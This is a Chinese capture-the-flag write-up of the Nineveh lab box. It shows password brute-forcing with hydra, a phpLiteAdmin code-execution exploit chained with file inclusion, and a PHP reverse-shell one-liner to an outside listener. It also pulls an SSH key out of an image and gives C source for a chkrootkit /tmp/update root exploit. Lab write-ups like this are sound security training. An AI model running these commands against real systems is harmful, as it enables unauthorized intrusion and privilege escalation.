本文转自爱春秋 https://bbs.ichunqiu.com/thread-56993-1-1.html
靶机IP为静态IP:192.168.0.150
0x00 知识总结
- 1.nmap进行初步信息的收集
- 2.任意文件读取的利用以及
phpLiteAdmin
远程php代码执行漏洞 - 3.敏感信息隐写和ssh私钥连接
- 4.chkrootkit漏洞进行本地用户提权
0x01 信息收集
- 第一步
对靶机开放的端口进行探测,nmap是kali自带的一个极好的扫描工具,我们通过探测靶机的端口,可以拓宽我们的利用点,例如
redis 6932
端口未授权访问这个很经典的漏洞,都是需要进行大量的信息收集。
namp -sT -p- 192.168.0.150 >portscan #采用TCP三次握手扫描靶机所有端口
只发现两个常规端口,那我们先去看看内容 or2
80
端口的网页信息没有,443的https
还是有一部分内容,那就先从https
开始入手吧,发现就多了一张图片,没有任何多余信息。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YBjDrTYt-1588261218073)(https://s1.ax1x.com/2020/04/01/G1jGND.png)]
- 第二步
扫描网站目录,大概率存在一些可以利用的目录,或者是源码泄露,或者是敏感接口等,这里我们将两个端口一起扫,使用御剑
、dirsearch
、dirbuster
都行或者结合使用,最好有一个强大的字典。
发现
http://192.168.0.150/info.php
https://192.168.0.150/db
http://192.168.0.150/department/
,其中info.php
就是phpinfo
,department/login.php
也是一个登录界面,而后者是phpLiteAdmin
的登录界面:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CCizZoBI-1588261218075)(https://s1.ax1x.com/2020/04/01/G1jGND.png)]
0x02 利用手段
针对登录系统,我们可以用burpsuite
进行爆破,或者使用kali hydra
来进行爆破密码,个人推荐一般使用后者,但由于登录页面只需要上传password
,我们使用burpsuite
进行爆破,字典推荐使用rockyou.txt
,成功爆破一堆密码,登录发现可以操作数据库。
注意phpLiteAdmin的版本,可能存在直接利用的CVE
searchsploit phpLiteAdmin 1.9 #searchsploit是个好东西
发现存在RCE,查看如何利用。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ds6izOfX-1588261218079)(https://s1.ax1x.com/2020/04/01/G3FXfP.png)]
- 创建一个以
.php
结尾的database,创建一个表,字段的值写上PHP一句话
若在sqliteadmin没有crispr.php
,则此时会在当前目录下生成crispr.php
,当我激动的访问crispr.php
时,却发现没有此页面???返回来看一下发现存储的路径不在www/html
下,而在/var/tmp
路径下,而且改不了,试想如果这个时候存在LFI
就万事大吉了。
下面的事情就是开始利用另外一个登录页面了,里面一定藏着一些可以利用的地方,查看源码发现:
判断用户名是admin,又是密码爆破的事,这里就多用几个方法,我们使用hydra
来进行爆破,不得不说rockyou.txt
还是特别强大的,成功爆破得到密码,登录后台!
具体的hydra使用的参数和方法这里不再赘述,需要注意最后是特征字符串,判断口令正确的依据
hydra -l admin -P /usr/share/wordlists/rockyou.txt -f -s 80 192.168.0.150 http-post-form "/department/login.php:username=^USER^&&password=^PASS^:Invalid Password!"
进入后台后点击Notes
后发现url,本能的想到LFI
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iU7wnxGb-1588261218091)(https://s1.ax1x.com/2020/04/01/G314Ln.png)]
一通fuzz后的确可以任意文件读取,但是同时也是白名单过滤,只允许读取的文件以ninevehNotes
结尾,但是文件类型不限,因此我们还需要将之前的数据库改名为ninevehNotes.php
即可成功执行一句话。
相当于得到shell
,下面直接反弹shell连接:
php -r '$sock=fsockopen("192.168.0.3",2333);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'
本地kali
nc -lvvp 2333 #成功连接
在利用python中的模块得到交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")' #python2不存在
发现/home
路径下用户文件夹中有user.txt
,但是无权限访问,因此第三个步骤就是提权。
0x03本地用户提权
github上有一个enum4linux
的扫描脚本,此处可以wget
到/tmp
路径后运行,我首先想利用SUID文件提权
SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。
find / -perm -u=s -type f 2>/dev/null #查看具有SUID权限的文件
发现没有值得利用的地方,到根目录瞅一眼,发现有个奇怪的文件夹report
而在平常Linux的根目录是没有的,进去看一眼发现类似日志文件,文件名称是以时间来命名的:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JwFqMHS1-1588261218096)(https://s1.ax1x.com/2020/04/01/G32tFf.png)]
照着这个内容google hack发现这是linux下的chkrootkit工具
,简单来说就是用来定时检测系统。
chkrootkit是用来监测 rootkit 是否被安装到当前系统中的工具。
所谓 rootkit ,是一类入侵者经常使用的工具。这类工具通常非常的隐秘、令用户不易察觉,通过这类工具,入侵者建立了一条能够常时入侵系统,或者说对系统进行实时控制的途径。所以,我们要用 chkrootkit 来定时监测系统,以保证系统的安全。像Tripwire一样,chkrootkit也是“事后诸葛亮”,其只能针对系统可能的漏洞以及已经被入侵的部分进行分析。它并没有防止入侵的功能。
既然是一款工具,可能存在漏洞,先核实是否是chkrootkit
find / -name chkrootkit #全局搜索这个名字
找到chkrootkit在/usr/bin
下:
没权限查看,也没权限打开,先searchsploit
看有无漏洞可以利用?
发现有对应的脚本可以利用,但是尝试过后发现并没有成功,在观察其他可以利用的地方。
一顿操作,也是搜了一下资料(不得不说脑洞实在大),在/var/www/ssl/secure_notes/nineveh.png
下有一张nineveh.png
的图片,strings看一下发现大秘密,amrois用户的私钥和公钥藏在了里面:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-283m85Fz-1588261218099)(https://s1.ax1x.com/2020/04/01/G3OufH.png)]
赶紧copy下来,直接SSH使用私钥连接就行
注意在kali进行连接会失败,利用www-data用户本地连接即可
私钥的权限要是一定600 chmod key 600
得到user.txt
,还需要继续提权为root权限。
现在在回看之前那个report
文件夹,发现里面文件多了一些,而且是以时间命名,结合chkroootkit
定时检测系统,推测应该是在crontab下存在定时任务,查看后发现确实存在任务。
但是由于任务只是本地用户权限运行,即使改变report-reset.sh
也同样是只能提到amrois
用户这里,既然searchsploit
的脚本无法利用,那就googlehack吧,找到了Chkrootkit 0.49
本地提权漏洞的脚本。
漏洞利用条件
1.在/ tmp中放入一个名为’update’的非root所有者的可执行文件
2.以Root身份运行chkrootkit
3.Chkrootkit 版本小于0.49,其文件/ tmp /update将以root身份执行。
4.如果攻击者知道管理员是定期运行chkrootkit(通过查看cron.daily获知),并且对/ tmp(没有挂载noexec)有写访问权限,就可以利用该漏洞获取root权限。
发现条件都能满足
在/tmp(本地kali)路径下新建update.c
#include <unistd.h>
void main(void)
{
system("chown root:root /tmp/update");
system("chmod 4755 /tmp/update");
setuid(0);
setgid(0);
execl("/bin/sh","sh",NULL);
}
编译后在靶机wget
下载后等待一段时间让crontab执行,成功得到root权限,得到flag!